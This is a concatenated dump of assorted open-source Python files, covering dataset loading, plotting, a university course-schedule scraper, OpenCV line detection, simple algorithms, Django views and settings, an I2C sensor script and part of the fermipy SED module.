ax2.plot(list(range(0, self.maxDimensionalReduction)),\n # [ds.classifierTime[classifier.name] for ds in datasets.reducedData], marker='*', markersize=5, lw=1,\n # markeredgecolor='red')\n\n ax2.legend(handles=[Line2D([0], [0], marker='o', color='black', label='Reduction Time',\n markerfacecolor='red', markersize=10)],\n bbox_to_anchor=(1, -0.3),title='Execution Time (ms)', loc=\"lower right\",\n ncol=1, borderaxespad=0.)\n\n\n plt.ylabel(\"Algorithm execution time (ms) (line)\")\n ax2.set_ylim(bottom=0)\n\n plt.savefig('graphs/' + self.name + \"_\" + classifier.name + '.png', bbox_inches='tight')\n plt.show()\n GraphCount += 1\n\n\n\ndef load_data():\n DataList = []\n\n #https://archive.ics.uci.edu/ml/datasets/Poker+Hand\n # Poker Data\n csv = pd.read_csv('data/poker-hand.data')\n # csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/poker/poker-hand-training-true.data')\n csv.columns = ['S1', 'C1', 'S2', 'C2', 'S3', 'C3', 'S4', 'C4', 'S5', 'C5', 'Class identifier']\n DataList.append(DataObject('Poker', csv))\n\n # Cancer Data\n csv = pd.read_csv('data/breast-cancer.data')\n # csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/breast-cancer/breast-cancer.data')\n csv.columns = ['Class identifier', 'Age', 'Menopause', 'Tumor-size', 'Inv-nodes', 'Node-caps', 'Deg-malig',\n 'Breast', 'Breast-Quad', 'Irradiat']\n csv = enumerate_all(csv)\n DataList.append(DataObject('Cancer', csv))\n\n # Wine Data\n csv = pd.read_csv('data/wine.data')\n #csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data')\n csv.columns = ['Class identifier', 'Alcohol', 'Malic acid', 'Ash', 'Alcalinity of ash', 'Magnesium',\n 'Total phenols',\n 'Flavanoids', 'Nonflavanoid phenols', 'Proanthocyanins', 'Color intensity', 'Hue',\n 'OD280/OD315 of diluted wines', 'Proline']\n\n DataList.append(DataObject('Wine', csv))\n\n # Parkinsons data\n csv = pd.read_csv('data/parkinsons.data')\n # #csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/parkinsons/parkinsons.data')\n csv.columns = ['Name', 'MDVP:Fo(Hz)', 'MDVP:Fhi(Hz)', 'MDVP:Flo(Hz)', 'MDVP:Jitter(%)', 'MDVP:Jitter(Abs)',\n 'MDVP:RAP', 'MDVP:PPQ', 'Jitter:DDP', 'MDVP:Shimmer',\n 'MDVP:Shimmer(dB)', 'Shimmer:APQ3', 'Shimmer:APQ5', 'MDVP:APQ', 'Shimmer:DDA', 'NHR', 'HNR',\n 'Class identifier', 'RPDE', 'DFA', 'spread1',\n 'spread2', 'D2', 'PPE']\n del csv['Name']\n\n DataList.append(DataObject('Parkinsons', csv))\n\n # Glass data\n csv = pd.read_csv('data/glass.data')\n # csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/glass/glass.data')\n csv.columns = ['ID', 'Refractive Index', 'Sodium', 'Magnesium', 'Aluminum', 'Silicon', 'Potassium', 'Calcium',\n 'Barium', 'Iron', 'Class identifier']\n DataList.append(DataObject('Glass', csv))\n\n\n\n # Hepatitis Data\n csv = pd.read_csv('data/hepatitis.data')\n # csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/hepatitis/hepatitis.data')\n csv.columns = ['Class identifier', 'Age', 'Sex', 'Steroid', 'AntiVirals', 'Fatigue', 'Malaise', 'Anorexia',\n 'Liver Big', 'Liver Firm', 'Spleen Palpable',\n 'Spiders', 'Ascites', 'Varices', 'Bilirubin', 'Alk Phosphate', 'SGOT', 'Albumin', 'Protime',\n 'Histology']\n csv = enumerate_data(csv,\n ['Sex', 'Steroid', 'AntiVirals', 'Fatigue', 'Malaise', 'Anorexia', 'Liver Big', 'Liver Firm',\n 'Spleen Palpable',\n 'Spiders', 'Ascites', 'Varices', 'Histology'])\n DataList.append(DataObject('Hepatitis', csv))\n\n\n\n # # Lung Cancer Data\n # csv = pd.read_csv('data/lung-cancer.data')\n # # csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/lung-cancer/lung-cancer.data')\n # names = ['Class identifier']\n # names = names + list(range(0, 56))\n # csv.columns = names\n # csv[3] = pd.to_numeric(csv[3], errors='coerce').fillna(0).astype(np.int64)\n # csv[37] = pd.to_numeric(csv[37], errors='coerce').fillna(0).astype(np.int64)\n # DataList.append(DataObject('Lung cancer', csv))\n\n # #Echocardiogram data\n # csv = pd.read_csv('data/echocardiogram.data',error_bad_lines=False)\n # #csv = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/echocardiogram/echocardiogram.data',error_bad_lines=False)\n # csv.columns = ['Survival', 'Still-alive', 'Age-at-heart-attack', 'Pericardial-effusion', 'Fractional-shortening',\n # 'EPSS', 'LVDD', 'Wall-motion-score',\n # 'Wall-motion-index', 'Mult', 'Name', 'Group', 'Class identifier']\n # del csv['Name']\n # del csv['Group']\n # DataList.append(DataObject('Echocardiogram', csv))\n\n\n\n\n return DataList\n","repo_name":"HaydnG/dimensionality-reduction-classification","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":11991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"3127775185","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nN = 3\r\nind = np.arange(N) # the x locations for the groups\r\nwidth = 0.27 # the width of the bars\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\n\r\nyvals = [4, 9, 2]\r\nrects1 = ax.bar(ind, yvals, width, color='r')\r\nzvals = [1,2,3]\r\nrects2 = ax.bar(ind+width, zvals, width, color='g')\r\nkvals = [11,12,13]\r\nrects3 = ax.bar(ind+width*2, kvals, width, color='b')\r\n\r\n\r\nax.set_title('Weather Events in Bloomington 2012')\r\nax.set_ylabel('Scores')\r\nax.set_xlabel('Classifers')\r\nax.set_xticks(ind+width)\r\nax.set_xticklabels( ('2011-Jan-4', '2011-Jan-5', '2011-Jan-6') )\r\nax.legend( (rects1[0], rects2[0], rects3[0]), ('y', 'z', 'k') )\r\n\r\nplt.axes().yaxis.grid() # for horizontal grids\r\n\r\n\r\ndef autolabel(rects):\r\n for rect in rects:\r\n h = rect.get_height()\r\n ax.text(rect.get_x()+rect.get_width()/2., 1.05*h, '%d'%int(h),\r\n ha='center', va='bottom')\r\n\r\nautolabel(rects1)\r\nautolabel(rects2)\r\nautolabel(rects3)\r\n\r\nplt.show()","repo_name":"ashutoshvrm8/comparing-ml-algorithms-on-news-data","sub_path":"graph-plot-2.py","file_name":"graph-plot-2.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"33062590057","text":"import time\n\nimport requests\n\nfrom app import config\nfrom app import pyppeteer\nfrom app import sanitize\nfrom app import storage\nfrom app import urls\nfrom app.logger import logger\n\n\ndef authenticate_current_session(term, unique_session_id, cookies):\n \"\"\"Make a POST request that will authenticate the user with this JSESSIONID\n and uniqueSessionId and enable the sched_page GET request to return JSON\n\n :param term: Term dictionary with code and description keys.\n :param unique_session_id: Unique session id generated by the page which\n allows authentication.\n :param cookies: Cookies of the previous requests.\n \"\"\"\n payload = {\n \"dataType\": \"json\",\n \"endDatepicker\": \"\",\n \"startDatepicker\": \"\",\n \"studyPath\": \"\",\n \"studyPathText\": \"\",\n \"term\": term[\"code\"],\n \"uniqueSessionId\": unique_session_id,\n }\n return requests.post(\n urls.SEARCH_URL,\n headers={\"Referer\": urls.INIT_URL},\n cookies=cookies,\n params=payload,\n )\n\n\ndef get_schedule_json(subject, term, unique_session_id, cookies):\n \"\"\"Gets JSON representation of the subject for the specified term.\n\n :param subject: The subject in question.\n :param term: The term in question.\n :param unique_session_id: Unique session id generated by the page which\n allows authentication.\n :param cookies: Cookies of the previous requests.\n \"\"\"\n payload = {\n \"txt_subject\": subject[\"code\"],\n \"txt_term\": term[\"code\"],\n \"startDatepicker\": \"\",\n \"endDatepicker\": \"\",\n \"uniqueSessionId\": unique_session_id,\n \"pageOffset\": \"0\",\n \"pageMaxSize\": \"100\",\n \"sortColumn\": \"subjectDescription\",\n \"sortDirection\": \"asc\",\n }\n res = requests.get(\n urls.SCHEDULE_URL,\n headers={\"Referer\": urls.CLASS_URL},\n cookies=cookies,\n params=payload,\n )\n\n if res.ok:\n return res.json()\n\n return None\n\n\ndef get_subjects(cookies, unique_session_id, term_date):\n \"\"\"Gets the subjects that are available for a particular term.\n\n :param cookies: Cookies needed to authenticate the request.\n :param unique_session_id: Parameter needed to authenticate the request.\n :param term_date: Term where the subjects will be searched for.\n :returns: JSON with list of subjects\n \"\"\"\n payload = {\n \"uniqueSessionId\": unique_session_id,\n \"dataType\": \"json\",\n \"searchTerm\": \"\",\n \"term\": term_date,\n \"offset\": \"1\",\n \"max\": config.MAX_SUBJECTS,\n # Query string params expect a timestamp with extra 3 digits\n \"_:\": str(int(time.time() * 1000)),\n }\n res = requests.get(urls.SUBJECTS_URL, cookies=cookies, params=payload)\n\n if not res.ok:\n return None\n\n return res.json()\n\n\ndef get_terms(cookies, unique_session_id):\n \"\"\"Gets JSON with list of terms in the form {code : description}\n\n :param cookies: Cookies needed to authenticate the request\n :param unique_session_id: Parameter needed to authenticate the request\n :returns: JSON with list of the terms\n \"\"\"\n payload = {\n \"uniqueSessionId\": unique_session_id,\n \"dataType\": \"json\",\n \"searchTerm\": \"\",\n \"offset\": \"1\",\n \"max\": config.MAX_TERMS,\n }\n res = requests.get(urls.TERMS_URL, cookies=cookies, params=payload)\n\n if res.ok:\n return res.json()\n\n logger.info(\"No terms were found.\")\n return None\n\n\nasync def run():\n browser = await pyppeteer.initialize()\n page = await pyppeteer.get_page(browser)\n session_id, unique_session_id = await pyppeteer.get_tokens(browser)\n\n if None in (session_id, unique_session_id):\n browser.close()\n logger.error(\"Failed to get tokens from session.\")\n return\n\n cookies = dict(JSESSIONID=session_id)\n terms = get_terms(cookies, unique_session_id)\n\n payload = {}\n for term in terms:\n subjects = get_subjects(cookies, unique_session_id, term[\"code\"])\n subjects_json = await get_subjects_json(subjects, term, cookies, page)\n courses = sanitize.get_courses(subjects_json)\n payload[term[\"code\"]] = courses\n\n [storage.upload_to_bucket({key: value}) for key, value in payload.items()]\n\n await browser.close()\n return payload\n\n\nasync def get_subjects_json(subjects, term, cookies, page):\n \"\"\"Gets the JSON representation from each subject that is crawled.\n\n :param subjects: List of subjects\n :param term: Term dictionary containing code and description\n :param cookies: Page cookies\n :param page: Pyppeteer page\n :return: JSON list of the subjects crawled\n \"\"\"\n subjects_json = []\n for idx, subject in enumerate(subjects):\n logger.debug(\n \"Crawling subject\",\n extra={\n \"subject\": subject[\"description\"],\n \"subjectIndex\": idx + 1,\n \"totalSubjects\": len(subjects),\n \"term\": term[\"description\"],\n },\n )\n\n unique_session_id = await pyppeteer.get_unique_session_id(page)\n authenticate_current_session(term, unique_session_id, cookies)\n sched_json = get_schedule_json(subject, term, unique_session_id, cookies)\n\n if \"data\" in sched_json.keys():\n subjects_json.append(sched_json[\"data\"])\n else:\n logger.warning(\n \"No course data found.\", extra={\"subject\": subject[\"description\"]}\n )\n\n return subjects_json\n","repo_name":"michaelheyman/pdx-extract","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"6995424819","text":"import cv2 as cv\r\nimport numpy as np\r\n# 直线检测(霍夫直线变换)\r\n'''\r\n霍夫直线变换\r\n 平面空间到极坐标空间转换 \r\n'''\r\n\r\ndef line_detection(image):\r\n gray = cv.cvtColor(image,cv.COLOR_BGR2GRAY)\r\n edges = cv.Canny(gray,50,150,apertureSize=3)\r\n lines = cv.HoughLines(edges,1,np.pi/180,200)\r\n for line in lines:\r\n rho,theta = line[0]\r\n a = np.cos(theta)\r\n b = np.sin(theta)\r\n xo = a * rho\r\n yo = b * rho\r\n x1 = int(xo*1000*(-b))\r\n y1 = int(yo*1000*(a))\r\n x2 = int(xo*1000*(-b))\r\n y2 = int(yo*1000*(a))\r\n cv.line(image,(x1,y1),(x2,y2),(0,0,255),2)\r\n cv.imshow(\"image-lines\",image)\r\n\r\n# 直接得到线端\r\ndef line_detect_possible_demo(image):\r\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\r\n edges = cv.Canny(gray, 50, 150, apertureSize=3)\r\n lines = cv.HoughLinesP(edges, 1, np.pi / 180,100,minLineLength=50,maxLineGap=10)\r\n for line in lines:\r\n print(type(line))\r\n x1,y1,x2,y2 = line[0]\r\n cv.line(image,(x1,y1),(x2,y2),(0,0,255),2)\r\n cv.imshow(\"line_detect_possible_demo\",image)\r\n\r\nprint(\"---------------Hello Python--------------\")\r\nsrc = cv.imread(\"D:/opencvwen/zhixian.PNG\")\r\ncv.namedWindow(\"input image\",cv.WINDOW_AUTOSIZE)\r\ncv.imshow(\"input image\",src)\r\n\r\nline_detect_possible_demo(src)\r\n\r\ncv.waitKey(0)\r\n\r\ncv.destroyAllWindows()","repo_name":"zw161917/python-Study","sub_path":"Opencv学习/学习18.py","file_name":"学习18.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"19782070998","text":"class Solution:\n def findMaxConsecutiveOnes(self, nums: List[int]) -> int:\n n_ones = max_n = 0\n for i in nums:\n if i == 1:\n n_ones += 1\n elif i == 0:\n max_n = max(max_n, n_ones)\n n_ones = 0\n return max(max_n, n_ones)\n","repo_name":"Crysple/grocery","sub_path":"leetcode/485.py","file_name":"485.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34615489583","text":"import random\n\ndef selection_sort(arr):\n for i in range(len(arr)):\n min_index = i\n for j in range(i+1, len(arr)):\n if arr[min_index] > arr[j]:\n min_index = j\n arr[i], arr[min_index] = arr[min_index], arr[i]\n return arr\n \nfor k in range(10):\n random_array = [random.randrange(100) for i in range(10)]\n print(\"Array Before Sorting: {}\".format(random_array))\n sorted_array = selection_sort(random_array)\n print(\"Array After Sorting: {}\".format(sorted_array))\n print(\"-----------------------\")","repo_name":"wingedrasengan927/Data-Structures-and-Algorithms-in-Python","sub_path":"Sorting/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"71"} +{"seq_id":"13588690231","text":"import json\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.response import Response\nfrom rest_framework.request import Request\nfrom .torch_utils import get_prediction\n\n'''\n This function will allow the frontend to retrieve and change the \n training data for the dice rotation model. \n'''\n@api_view(['GET', 'POST'])\n@permission_classes([])\ndef handle_dice_ai(request: Request):\n if request.method == \"GET\":\n f = open(\"/mnt/d/Dev/3d-backgammon/backend/ai/DiceTrainingData.json\")\n data = json.load(f)\n f.close()\n return Response(data)\n elif request.method == \"POST\":\n with open(\"/mnt/d/Dev/3d-backgammon/backend/ai/DiceTrainingData.json\", \"r+\") as f:\n try:\n data = json.load(f)\n except (FileNotFoundError, json.decoder.JSONDecodeError):\n data = []\n data.append(request.data)\n f.seek(0)\n json.dump(data, f, indent=2)\n f.truncate()\n return Response()\n\n\n'''\n This function will use the NN to predict the number on the dice.\n'''\n@api_view(['POST'])\n@permission_classes([])\ndef get_dice_prediction(request: Request):\n x, y, z = request.data.values()\n prediction = get_prediction(x, y, z)\n return Response({ \"prediction\": prediction })\n","repo_name":"mohsen-ameli/3d-backgammon","sub_path":"backend/ai/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"71"} +{"seq_id":"36709944917","text":"from time import sleep\nc = 0\nfor c in range(1, 51):\n sleep (0.2)\n par = (c % 2)\n if par == 0:\n print(c)\n c = c + 1\n else:\n c = c + 1\n ","repo_name":"LukahBarcelos99/Pequenos-projetos","sub_path":"desafio10/desafio10.py","file_name":"desafio10.py","file_ext":"py","file_size_in_byte":162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"26109045146","text":"import os\nimport sys\n\n\"\"\"\n请不要修改该文件\n如果你需要对settings里的内容做修改,config/default.py 文件中 添加即可\n如有任何疑问,请联系 【蓝鲸助手】\n\"\"\"\nif not hasattr(sys, \"argv\"):\n sys.argv = [\"\"]\n\n# V3判断环境的环境变量为BKPAAS_ENVIRONMENT\nif \"BKPAAS_ENVIRONMENT\" in os.environ:\n ENVIRONMENT = os.getenv(\"BKPAAS_ENVIRONMENT\", \"dev\")\n# V2判断环境的环境变量为BK_ENV\nelse:\n PAAS_V2_ENVIRONMENT = os.environ.get(\"BK_ENV\", \"development\")\n ENVIRONMENT = {\"development\": \"dev\", \"testing\": \"stag\", \"production\": \"prod\"}.get(PAAS_V2_ENVIRONMENT)\nDJANGO_CONF_MODULE = \"config.{env}\".format(env=ENVIRONMENT)\n\ntry:\n _module = __import__(DJANGO_CONF_MODULE, globals(), locals(), [\"*\"])\nexcept ImportError as e:\n raise ImportError(\"Could not import config '{}' (Is it on sys.path?): {}\".format(DJANGO_CONF_MODULE, e))\n\nfor _setting in dir(_module):\n if _setting == _setting.upper():\n locals()[_setting] = getattr(_module, _setting)\n\nINSTALLED_APPS = locals()[\"INSTALLED_APPS\"]\nCELERY_IMPORTS = locals()[\"CELERY_IMPORTS\"]\nMIDDLEWARE = locals()[\"MIDDLEWARE\"]\n\ntry:\n __module = __import__(\"home_application.config\", globals(), locals(), [\"*\"])\nexcept ImportError:\n pass\nelse:\n for _setting in dir(__module):\n if _setting == _setting.upper():\n locals()[_setting] = getattr(__module, _setting)\n elif _setting == \"app_name\":\n INSTALLED_APPS += getattr(__module, _setting)\n elif _setting == \"celery_tasks\":\n CELERY_IMPORTS += getattr(__module, _setting)\n\napps = {\"apps\": os.listdir(\"apps\"), \"apps_other\": os.listdir(\"apps_other\")}\nfor key, app_list in apps.items():\n dir_list = [i for i in app_list if os.path.isdir(f\"{key}/{i}\") and not i.startswith(\"__\")]\n\n for i in dir_list:\n try:\n __module = __import__(f\"{key}.{i}.config\", globals(), locals(), [\"*\"])\n except ImportError:\n pass\n else:\n for _setting in dir(__module):\n if _setting == _setting.upper():\n locals()[_setting] = getattr(__module, _setting)\n elif _setting == \"app_name\":\n INSTALLED_APPS += (getattr(__module, _setting),)\n elif _setting == \"celery_tasks\":\n CELERY_IMPORTS += getattr(__module, _setting)\n elif _setting == \"add_middleware\":\n MIDDLEWARE += getattr(__module, _setting)\n","repo_name":"WeOps-Lab/weops-framework","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70753063909","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport _8_1_defi_split_cut_config as local_config\nimport bib_config as global_config\nfrom bib import *\n\n# Create plot\nfig, ax = plt.subplots(figsize=(12, 8))\nsetup_plot(ax, local_config.PLOT_BOTTOM_LEFT_CORNER,\n local_config.PLOT_TOP_RIGHT_CORNER)\n\nlattice_points = plot_lattice(ax, local_config.BASIS_MATRIX, local_config.PLOT_BOTTOM_LEFT_CORNER,\n local_config.PLOT_TOP_RIGHT_CORNER, False, **global_config.LATTICE_PROPERTIES)\n\nA = np.array([[-3, -4], [-1, 1], [4, 6], [4, -10]])\nb = np.array([-8, 2, 27, 3])\n\nplot_polyhedron(ax, A, b, local_config, **\n global_config.POLYHEDRON_TWO_FILL_PROPERTIES)\nplot_integer_hull(ax, A, b, lattice_points)\npi = np.array([2, 1])\npi_0 = np.array([6])\n# left part\nplot_polyhedron(ax, np.array([pi]), pi_0, local_config, **\n global_config.POLYHEDRON_ONE_FILL_PROPERTIES)\n# right part\nplot_polyhedron(ax, np.array([-pi]), -(pi_0+1), local_config,\n **global_config.POLYHEDRON_ONE_FILL_PROPERTIES)\n\n# plot the resulting convex set\nvertex_list = np.array(\n [[0, 2], [4/3, 10/3], [15/8, 13/4], [4.5, 1.5], [2, 0.5]])\nplot_figure(ax, vertex_list, **global_config.FIGURE_TWO_PROPERTIES)\n\nplt.show()\n","repo_name":"bits4beethoven/integer_optimization","sub_path":"_8_1_defi_split_cut.py","file_name":"_8_1_defi_split_cut.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"2961000482","text":"from smbus2 import SMBus, i2c_msg\nimport time\n\nOFFSET_FLOW = -24576 # [-]\nSCALEFACTOR_FLOW = 170 # [slm^-1]\nOFFSET_TEMP = 0 # [-]\nSCALEFACTOR_TEMP = 200 # [°C^-1]\n\n\n\n\n# SETUP\nmsg_start = i2c_msg.write(0x28, [0x36, 0x08])\nmsg = i2c_msg.read(0x28, 9)\nmsg_stop = i2c_msg.write(0x28, [0x3F, 0xF9])\n\nbus = SMBus(1)\nbus.i2c_rdwr(msg_stop)\ntime.sleep(0.5)\nbus.i2c_rdwr(msg_start)\ntime.sleep(0.5)\n\nfor i in range(100):\n \n bus.i2c_rdwr(msg)\n data = list(msg)\n\n # JUST SOME CONVERSION FROM HERE ON\n flow_bytes = data[0:2]\n flow_bytes_converted = bytes(flow_bytes)\n flow_raw = int.from_bytes(flow_bytes_converted, byteorder='big', signed=True)\n print(\"flow_raw: \", flow_raw)\n flow = (flow_raw-OFFSET_FLOW)/SCALEFACTOR_FLOW\n print(\"flow: \", flow)\n temp_bytes = data[3:5]\n temp_bytes_converted = bytes(temp_bytes)\n temp_raw = int.from_bytes(temp_bytes_converted, byteorder='big', signed=True)\n print(\"temp_raw: \", temp_raw)\n temp = float((temp_raw-OFFSET_TEMP)/SCALEFACTOR_TEMP)\n print(\"temp: \", temp)\n time.sleep(2)\n x=+1\n\n\nbus.i2c_rdwr(msg_stop)\n\n#bus.write_byte_data(0x28, 0x36, 0x08)\n\n# # 1: Convert message content to list\n# msg = i2c_msg.write(60, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n# data = list(msg) # data = [1, 2, 3, ...]\n# print(len(data)) # => 10\n\n# # 2: i2c_msg is iterable\n# for value in msg:\n# print(value)\n\n# # 3: Through i2c_msg properties\n# for k in range(msg.len):\n# print(msg.buf[k])\n\n# while True:\n# value = bus.read_byte_data(new_address, COMMAND_GET_VALUE)\n# print(value)\n# time.sleep(0.5)\n\n# bus = SMBus(1) # bus = smbus.SMBus(0) fuer Revision 1\n# bus.write_byte_data(address, COMMAND_GET_VALUE)\n# bus.write_byte_data(address, COMMAND_CHANGE_ADDRESS, new_address)\n\n\n# while True:\n# value = bus.read_byte_data(new_address, COMMAND_GET_VALUE)\n# print(value)\n# time.sleep(0.5)\n\n\n# # Gets the specified variable as an unsigned value.\n# def get_variable(self, id):\n# write = i2c_msg.write(self.address, [0xA1, id])\n# read = i2c_msg.read(self.address, 2)\n# self.bus.i2c_rdwr(write, read)\n# b = list(read)\n# return b[0] + 256 * b[1]\n","repo_name":"shojsepter/BA_RBPI_3","sub_path":"SFM3003-300-CL.py","file_name":"SFM3003-300-CL.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"711092727","text":"from dataclasses import dataclass\n\nfrom simulation.utils.geometry import Vector\nfrom simulation.utils.urdf import DepthCameraProperties, Origin\n\n\ndef _get_depth_properties(name: str) -> DepthCameraProperties:\n NS = \"/simulation/sensors/\"\n return DepthCameraProperties(\n horizontal_fov=0.0349,\n update_rate=20,\n image_width=2,\n image_height=2,\n image_format=\"L8\",\n clip_near=0.03,\n clip_far=2,\n point_cloud_cutoff=0.005,\n image_topic=NS + f\"raw/distance_{name}\",\n info_topic=NS + f\"info/distance_{name}\",\n frame_name=f\"ir_{name}\",\n point_cloud_topic_name=NS + f\"raw/distance_{name}_points\",\n )\n\n\n@dataclass\nclass TofSensor:\n name: str\n origin: Origin\n properties: DepthCameraProperties\n size: Vector = Vector(0.02, 0.02, 0.02)\n mass: float = 1e-5\n\n @classmethod\n def with_default_properties(cls, name: str, origin: Origin) -> \"TofSensor\":\n return cls(name, origin, properties=_get_depth_properties(name))\n\n @property\n def full_name(self) -> str:\n return f\"ir_{self.name}\"\n","repo_name":"KITcar-Team/kitcar-gazebo-simulation","sub_path":"simulation/src/gazebo_simulation/src/car_model/tof_sensors.py","file_name":"tof_sensors.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"71"} +{"seq_id":"15868220527","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\"\"\"\nUtilities for dealing with SEDs\n\nMany parts of this code are taken from dsphs/like/lnlfn.py by\n Matthew Wood \n Alex Drlica-Wagner \n\"\"\"\nfrom __future__ import absolute_import, division, print_function\nimport copy\nimport logging\nimport os\nimport json\n\nimport numpy as np\n\nfrom astropy.io import fits\nfrom astropy.table import Table, Column\n\nimport fermipy.config\nfrom fermipy import utils\nfrom fermipy import gtutils\nfrom fermipy import fits_utils\nfrom fermipy import roi_model\nfrom fermipy.config import ConfigSchema\nfrom fermipy.timing import Timer\nfrom fermipy import model_utils\n\nfrom LikelihoodState import LikelihoodState\nimport pyLikelihood as pyLike\n\n\nclass SEDGenerator(object):\n \"\"\"Mixin class that provides SED functionality to\n `~fermipy.gtanalysis.GTAnalysis`.\"\"\"\n\n def sed(self, name, **kwargs):\n \"\"\"Generate a spectral energy distribution (SED) for a source. This\n function will fit the normalization of the source in each\n energy bin. By default the SED will be generated with the\n analysis energy bins but a custom binning can be defined with\n the ``loge_bins`` parameter.\n\n Parameters\n ----------\n name : str\n Source name.\n\n prefix : str\n Optional string that will be prepended to all output files\n (FITS and rendered images).\n\n loge_bins : `~numpy.ndarray`\n Sequence of energies in log10(E/MeV) defining the edges of\n the energy bins. If this argument is None then the\n analysis energy bins will be used. The energies in this\n sequence must align with the bin edges of the underyling\n analysis instance.\n\n {options}\n\n optimizer : dict\n Dictionary that overrides the default optimizer settings.\n\n Returns\n -------\n sed : dict\n Dictionary containing output of the SED analysis.\n\n \"\"\"\n timer = Timer.create(start=True)\n name = self.roi.get_source_by_name(name).name\n\n # Create schema for method configuration\n schema = ConfigSchema(self.defaults['sed'],\n optimizer=self.defaults['optimizer'])\n schema.add_option('prefix', '')\n schema.add_option('outfile', None, '', str)\n schema.add_option('loge_bins', None, '', list)\n config = utils.create_dict(self.config['sed'],\n optimizer=self.config['optimizer'])\n config = schema.create_config(config, **kwargs)\n\n self.logger.info('Computing SED for %s' % name)\n\n o = self._make_sed(name, **config)\n\n self.logger.info('Finished SED')\n\n outfile = config.get('outfile', None)\n if outfile is None:\n outfile = utils.format_filename(self.workdir, 'sed',\n prefix=[config['prefix'],\n name.lower().replace(' ', '_')])\n else:\n outfile = os.path.join(self.workdir,\n os.path.splitext(outfile)[0])\n\n o['file'] = None\n if config['write_fits']:\n o['file'] = os.path.basename(outfile) + '.fits'\n self._make_sed_fits(o, outfile + '.fits', **config)\n\n if config['write_npy']:\n np.save(outfile + '.npy', o)\n\n if config['make_plots']:\n self._plotter.make_sed_plots(o, **config)\n\n self.logger.info('Execution time: %.2f s', timer.elapsed_time)\n return o\n\n def _make_sed_fits(self, sed, filename, **kwargs):\n\n # Write a FITS file\n cols = [Column(name='e_min', dtype='f8', data=sed['e_min'], unit='MeV'),\n Column(name='e_ref', dtype='f8',\n data=sed['e_ref'], unit='MeV'),\n Column(name='e_max', dtype='f8',\n data=sed['e_max'], unit='MeV'),\n Column(name='ref_dnde_e_min', dtype='f8',\n data=sed['ref_dnde_e_min'], unit='ph / (MeV cm2 s)'),\n Column(name='ref_dnde_e_max', dtype='f8',\n data=sed['ref_dnde_e_max'], unit='ph / (MeV cm2 s)'),\n Column(name='ref_dnde', dtype='f8',\n data=sed['ref_dnde'], unit='ph / (MeV cm2 s)'),\n Column(name='ref_flux', dtype='f8',\n data=sed['ref_flux'], unit='ph / (cm2 s)'),\n Column(name='ref_eflux', dtype='f8',\n data=sed['ref_eflux'], unit='MeV / (cm2 s)'),\n Column(name='ref_npred', dtype='f8', data=sed['ref_npred']),\n Column(name='dnde', dtype='f8',\n data=sed['dnde'], unit='ph / (MeV cm2 s)'),\n Column(name='dnde_err', dtype='f8',\n data=sed['dnde_err'], unit='ph / (MeV cm2 s)'),\n Column(name='dnde_errp', dtype='f8',\n data=sed['dnde_err_hi'], unit='ph / (MeV cm2 s)'),\n Column(name='dnde_errn', dtype='f8',\n data=sed['dnde_err_lo'], unit='ph / (MeV cm2 s)'),\n Column(name='dnde_ul', dtype='f8',\n data=sed['dnde_ul'], unit='ph / (MeV cm2 s)'),\n Column(name='e2dnde', dtype='f8',\n data=sed['e2dnde'], unit='MeV / (cm2 s)'),\n Column(name='e2dnde_err', dtype='f8',\n data=sed['e2dnde_err'], unit='MeV / (cm2 s)'),\n Column(name='e2dnde_errp', dtype='f8',\n data=sed['e2dnde_err_hi'], unit='MeV / (cm2 s)'),\n Column(name='e2dnde_errn', dtype='f8',\n data=sed['e2dnde_err_lo'], unit='MeV / (cm2 s)'),\n Column(name='e2dnde_ul', dtype='f8',\n data=sed['e2dnde_ul'], unit='MeV / (cm2 s)'),\n Column(name='norm', dtype='f8', data=sed['norm']),\n Column(name='norm_err', dtype='f8', data=sed['norm_err']),\n Column(name='norm_errp', dtype='f8', data=sed['norm_err_hi']),\n 